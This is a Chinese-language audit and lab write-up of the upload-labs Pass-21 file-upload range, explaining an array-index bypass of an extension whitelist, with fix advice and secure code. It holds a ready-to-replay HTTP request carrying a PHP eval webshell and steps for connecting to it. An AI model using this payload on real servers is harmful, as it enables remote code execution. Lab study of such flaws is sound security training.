upload-labs_Pass-21_2026-08-09

upload-labs 文件上传漏洞靶场代码审计报告

一、靶场信息

项目 内容
靶场名称 upload-labs
关卡编号 Pass-21
漏洞类型 数组索引逻辑绕过
审计日期 2026-08-09
目标文件 Pass-21/index.php

二、漏洞概述

Pass-21 允许用户通过 save_name POST 参数指定保存文件名。当 save_name 为字符串时,代码使用 explode('.', strtolower($file)) 将其按点拆分为数组;当 save_name 本身为数组时,代码直接使用该数组。攻击者可以构造一个非连续索引的数组(如 save_name[0]=shell.phpsave_name[2]=jpg,缺少 save_name[1]),使 end($file) 返回允许的后缀 jpg 通过校验,而 reset($file) . '.' . $file[count($file) - 1] 因访问未定义的数组索引而得到 shell.php.,Windows 系统保存时去除尾部点,最终生成可执行的 shell.php

  • 危险等级:高危
  • 影响范围:Windows 环境下可上传并执行 PHP 脚本

三、问题代码位置

文件路径Pass-21/index.php

问题代码片段(第 13-40 行)

if(!empty($_FILES['upload_file'])){
    //mime check
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //check filename
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}

四、漏洞分析

4.1 为什么存在这个问题

代码允许 $_POST['save_name'] 为数组,并假设数组是连续的(即由 explode() 生成)。攻击者可以提交非连续索引的数组:

  • save_name[0] = "shell.php"
  • save_name[2] = "jpg"

此时:

  • count($file) = 2(因为只有索引 0 和 2 两个元素)
  • end($file) = "jpg"(最后一个元素),在白名单中,校验通过
  • reset($file) = "shell.php"
  • $file[count($file) - 1] = $file[1],未定义,为 null
  • $file_name = "shell.php" . "." . null = "shell.php."

Windows 保存文件时去除尾部点,最终生成 shell.php

4.2 校验逻辑缺陷

  • 直接信任用户提交的数组结构。
  • 未对数组索引的连续性、类型和内容进行校验。
  • 使用 count($file) - 1 作为索引假设数组从 0 开始连续排列,存在越界/未定义风险。
  • 保存文件名由用户输入直接拼接,未做规范化处理。

五、利用思路

攻击者通过 POST 提交 save_name[0]=shell.php&save_name[2]=jpg,并上传一个合法的图片文件(MIME 类型为 image/jpeg/image/png/image/gif)。服务端 MIME 校验通过后,对 save_name 数组进行处理,因数组索引不连续导致文件名计算为 shell.php.,Windows 系统保存为 shell.php


六、POC(Yakit 可直接重放)

6.1 前提条件

  • 靶场访问地址:http://target.com/upload-labs/Pass-21/index.php
  • 目标环境为 Windows
  • 准备一个合法的图片文件或伪造 MIME 的图片马

6.2 Yakit 重放 HTTP 请求包

POST /upload-labs/Pass-21/index.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload_file"; filename="any.jpg"
Content-Type: image/jpeg

<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="save_name[0]"

shell.php
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="save_name[2]"

jpg
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundary7MA4YWxkTrZu0gW--

6.3 利用步骤

  1. 在 Yakit 中新建 HTTP 请求并粘贴上述 POC。
  2. 修改 Host 为实际靶场地址。
  3. 确保 save_name 使用数组形式提交,且缺少索引 1。
  4. 发送请求,服务端 MIME 校验通过,扩展名白名单校验通过。
  5. 文件被保存为 upload/shell.php(Windows 去除尾部点)。
  6. 访问 http://target.com/upload-labs/upload/shell.php
  7. 使用 Webshell 管理工具连接,密码 cmd

七、修复建议

  1. 禁止 save_name 为数组:对输入进行严格类型校验,只允许字符串。
  2. 不依赖用户输入生成文件名:保存文件名应由服务端随机生成。
  3. 使用白名单扩展名校验:明确允许的图片后缀。
  4. 对文件名规范化处理:调用 deldot()trim() 等函数,并拒绝空字节、斜杠等特殊字符。
  5. 上传目录禁止脚本执行:从 Web 服务器层限制解析。

安全代码示例

$allowed_type = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($_FILES['upload_file']['type'], $allowed_type)) {
    die('禁止上传该类型文件');
}

$allowed_ext = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($_FILES['upload_file']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_ext)) {
    die('只允许上传图片文件');
}

// 不使用用户提交的 save_name
$new_name = md5(uniqid()) . '.' . $ext;
move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $new_name);

八、参考链接

发表评论

您的邮箱地址不会被公开。 必填项已用 * 标注

滚动至顶部